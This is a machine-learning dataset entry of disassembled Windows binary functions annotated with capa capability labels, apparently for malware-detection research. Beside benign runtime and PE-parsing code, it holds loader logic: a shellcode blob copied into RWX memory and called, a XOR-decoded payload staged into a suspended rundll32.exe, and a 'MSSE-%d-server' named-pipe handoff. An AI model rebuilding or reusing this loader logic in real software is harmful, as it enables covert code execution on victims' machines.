joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400165f0
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
mov esi, dword [rdx]
xor r14d, r14d
mov r11d, dword [r8 + 4]
mov rdi, rdx
mov ebp, dword [r8 + 8]
mov ebx, dword [r8 + 0xc]
add esi, dword [r8]
add r11d, dword [rdx + 4]
add ebp, dword [rdx + 8]
add ebx, dword [rdx + 0xc]
test ecx, ecx
je 0x1400166f8
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], r15
mov r15d, r14d
mov r12d, ecx
nop word [rax + rax]
movzx ecx, r11b
mov eax, r14d
and eax, 3
and cl, 0x1f
add eax, 4
and r15d, 3
mov r10d, dword [r8 + rax*4]
mov eax, r11d
mov edx, dword [r8 + r15*4]
shl eax, 4
rol r10d, cl
mov ecx, r11d
add r10d, eax
shr ecx, 0x1b
rol edx, cl
mov eax, r11d
shr eax, 5
mov ecx, ebx
add edx, eax
shr ecx, 0x1b
xor r10d, edx
lea eax, [rbx + r14]
xor r10d, eax
add r14d, 0x9e3779b9
add r10d, esi
mov eax, r14d
shr rax, 0xb
mov esi, r11d
and eax, 3
mov r15d, r14d
mov r9d, dword [r8 + rax*4]
mov eax, ebx
shr eax, 5
rol r9d, cl
movzx ecx, bl
add r9d, eax
and cl, 0x1f
mov eax, r14d
shr eax, 0xb
and eax, 3
add eax, 4
mov edx, dword [r8 + rax*4]
mov eax, ebx
shl eax, 4
rol edx, cl
add edx, eax
lea eax, [r11 + r14]
xor r9d, edx
mov r11d, r9d
xor r11d, eax
add r11d, ebp
mov ebp, ebx
mov ebx, r10d
sub r12, 1
jne 0x140016640
mov r15, qword [rsp + 0x28]
mov r12, qword [rsp + 0x20]
xor esi, dword [r8 + 0x10]
mov dword [rdi], esi
xor r11d, dword [r8 + 0x14]
mov dword [rdi + 4], r11d
xor ebp, dword [r8 + 0x18]
mov dword [rdi + 8], ebp
xor ebx, dword [r8 + 0x1c]
mov rbp, qword [rsp + 0x38]
mov dword [rdi + 0xc], ebx
mov rbx, qword [rsp + 0x30]
pop r14
pop rdi
pop rsi
ret
Function at 0x140016730
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
mov ebx, dword [r8 + 0x1c]
mov rdi, rdx
mov esi, dword [r8 + 0x18]
mov ebp, dword [r8 + 0x14]
mov r11d, dword [r8 + 0x10]
xor ebx, dword [rdx + 0xc]
xor esi, dword [rdx + 8]
xor ebp, dword [rdx + 4]
xor r11d, dword [rdx]
imul r14d, ecx, 0x9e3779b9
test ecx, ecx
je 0x140016839
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], r15
mov r15d, r14d
mov r12d, ecx
nop dword [rax]
shr r15, 0xb
mov r10d, ebx
mov ebx, esi
and r15d, 3
mov eax, ebx
mov ecx, ebx
shr eax, 5
mov esi, ebp
shr ecx, 0x1b
mov ebp, r11d
mov r9d, dword [r8 + r15*4]
rol r9d, cl
movzx ecx, bl
add r9d, eax
and cl, 0x1f
mov eax, r14d
shr eax, 0xb
and eax, 3
add eax, 4
mov edx, dword [r8 + rax*4]
mov eax, ebx
shl eax, 4
rol edx, cl
movzx ecx, r11b
add edx, eax
and cl, 0x1f
xor r9d, edx
lea eax, [r11 + r14]
xor r9d, eax
add r14d, 0x61c88647
sub esi, r9d
mov r15d, r14d
mov eax, r14d
and eax, 3
add eax, 4
mov r9d, dword [r8 + rax*4]
mov eax, r11d
rol r9d, cl
mov ecx, r11d
shl eax, 4
add r9d, eax
shr r11d, 5
mov eax, r14d
and eax, 3
shr ecx, 0x1b
mov edx, dword [r8 + rax*4]
lea eax, [rbx + r14]
rol edx, cl
add edx, r11d
mov r11d, r10d
xor r9d, edx
xor r9d, eax
sub r11d, r9d
sub r12, 1
jne 0x140016780
mov r15, qword [rsp + 0x28]
mov r12, qword [rsp + 0x20]
sub ebx, dword [r8 + 0xc]
mov dword [rdi + 0xc], ebx
sub esi, dword [r8 + 8]
mov rbx, qword [rsp + 0x30]
mov dword [rdi + 8], esi
sub ebp, dword [r8 + 4]
mov dword [rdi + 4], ebp
sub r11d, dword [r8]
mov rbp, qword [rsp + 0x38]
mov dword [rdi], r11d
pop r14
pop rdi
pop rsi
ret

Function at 0x1400177bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140017806
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140017806
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140017806
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140017806
cmp dword [rcx + 0x84], 0xe
jbe 0x140017806
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140017808
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140013730]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140013740]
mov dword [rax], 1
mov rax, qword [0x140013750]
mov dword [rax], 1
mov rax, qword [0x1400136c0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140013720]
mov dword [0x14001600c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140013800]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400137e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1400136a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140013780]
xor edi, edi
mov rax, qword gs:[0x30]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140013790]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140016008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400136f0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call sym._pei386_runtime_relocator
mov rcx, qword [sym._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140013770]
lea rcx, [sym.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov ebx, dword [0x140016028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
test ebx, ebx
mov rbp, qword [0x140016020]
mov r12, rax
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [rbp + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [r12 + rbx], rax
mov rdx, qword [rbp + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, r12
mov qword [rdi], 0
mov qword [0x140016020], r12
call sym.__main
mov rax, qword [0x140013700]
mov r8, qword [0x140016018]
mov ecx, dword [0x140016028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140016020]
call sym.main
mov ecx, dword [0x14001600c]
mov dword [0x140016010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140016008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140013790]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call sym._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400137b0]
mov rcx, qword [0x1400137a0]
call sym._initterm
test edi, edi
mov dword [rsi], 2
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140016010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400137d0]
mov dword [rsi], 1
mov rcx, qword [0x1400137c0]
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b6
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0xf360
call fcn.140002550
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov ecx, 0xf336
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0xf336
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xf2d8], rax
mov rax, qword [rbp + 0xf2d8]
mov rcx, rax
lea rax, [rbp - 0x60]
mov edx, 0xf336
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0xf2d8]
call rax
mov eax, 0
add rsp, 0xf360
pop rbp
ret

Function at 0x1400017b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001820
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140016094]
test esi, esi
mov rbx, rcx
jle 0x140001950
mov rax, qword [0x140016098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000186b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001850
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001972
mov rax, qword [0x140016098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140016098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001957
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018ee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001900
add dword [0x140016094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140016098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001878
mov rax, qword [0x140016098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001ee0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140016100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400160e0]
test rbx, rbx
je 0x140001f3c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001f33
test rsi, rsi
je 0x140001f33
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f18
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002150
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002168
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002170
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002180
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x1400021cd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x1400021c4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400021cf
add rax, 0x28
cmp rax, r9
jne 0x1400021b0
xor eax, eax
ret

Function at 0x1400021d0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002260
mov rdx, qword [0x1400136c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000224e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000224e
cmp word [rax + 0x18], 0x20b
jne 0x14000224e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002260
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002239
add rbx, 0x28
cmp rbx, rdi
je 0x140002260
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002230
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002270
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400136c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002290
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002298
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002290
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400022ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400022e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002290
add rax, 0x28
cmp rax, r9
jne 0x1400022d0
xor eax, eax
ret
Function at 0x1400022f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400136c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000230f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002318
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000230f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400136c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002350
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002358
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002350
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x1400023a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002397
test rcx, rcx
je 0x140002350
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002388
xor eax, eax
ret

Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400136c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400023cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400023d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400023f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400136c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002410
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002418
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002410
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140002410
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002464
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002470
add rdx, 0x28
cmp r9, rdx
jne 0x140002450
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400136c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400024a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400024b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400024a2
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x1400024a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140002505
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002518
add rdx, 0x28
cmp rdx, r10
jne 0x1400024f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002527
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002537
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000250e
test ecx, ecx
jg 0x140002520
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x4017ce
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x900
mov rsi, rcx
mov ebp, edx
mov rbx, r8
test r8, r8
je 0x4016ba
cmp byte [r8], 0
jne 0x4016c8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
jmp 0x40178c
lea r12, [rsp + 0x98]
xor eax, eax
lea r13, [rsp + 0x80]
mov ecx, 0x1a
mov rdi, r12
lea r9, [rsp + 0x100]
lea r14, [rsp + 0x500]
mov r8d, 0x400
rep stosd dword [rdi], eax
mov ecx, 6
mov rdi, r13
mov rdx, r9
rep stosd dword [rdi], eax
mov qword [rsp + 0x58], r9
lea rcx, str.windir
mov dword [rsp + 0x98], 0x68
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r9, qword [rsp + 0x58]
mov edx, 0x400
mov rcx, r14
lea r8, str._sSystem32_s
mov qword [rsp + 0x20], rbx
call qword [sym.imp.msvcrt.dll__snprintf]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], r13
mov rdx, r14
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4017bc
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x4017bc
movups xmm0, xmmword [rsp + 0x80]
lea rdx, [rsp + 0x60]
movsxd r9, ebp
mov r8, rsi
mov rax, qword [rsp + 0x90]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
call fcn.004015f1
nop
add rsp, 0x900
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
sub rsp, 0x28
xor eax, eax
mov r9d, edx
cmp r9d, eax
jle 0x4017ee
mov rdx, rax
and edx, 3
mov dl, byte [r8 + rdx]
xor byte [rcx + rax], dl
inc rax
jmp 0x4017d7
call fcn.00401560
lea r8, str.rundll32.exe
mov edx, r9d
add rsp, 0x28
jmp 0x401696

Function at 0x401810
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00450980]
mov qword [rsp + 0x38], 0
mov edx, 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov r12, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4018bc
xor edx, edx
mov rcx, r12
lea rdi, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x4018bc
test ebx, ebx
jle 0x4018a6
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4018b1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4018bc
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x401883
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x4018e4
Capabilities:
Read file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00450980]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
lea rdi, [rsp + 0x4c]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
xor eax, eax
cmp r12, 0xffffffffffffffff
je 0x40197c
test ebx, ebx
jle 0x401961
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401971
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x40197c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x40193e
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x4019d8
Capabilities:
Create thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x0044d4f0]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov r12, rax
mov ecx, 0x400
call rsi
mov edx, dword [rbx + 4]
mov rcx, r12
call fcn.004018e4
test eax, eax
je 0x4019a8
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, r12
call fcn.004017ce
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x00450980]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
xor ecx, ecx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x004018c6]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x401986

Function at 0x401fd0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00403150
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00403150
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]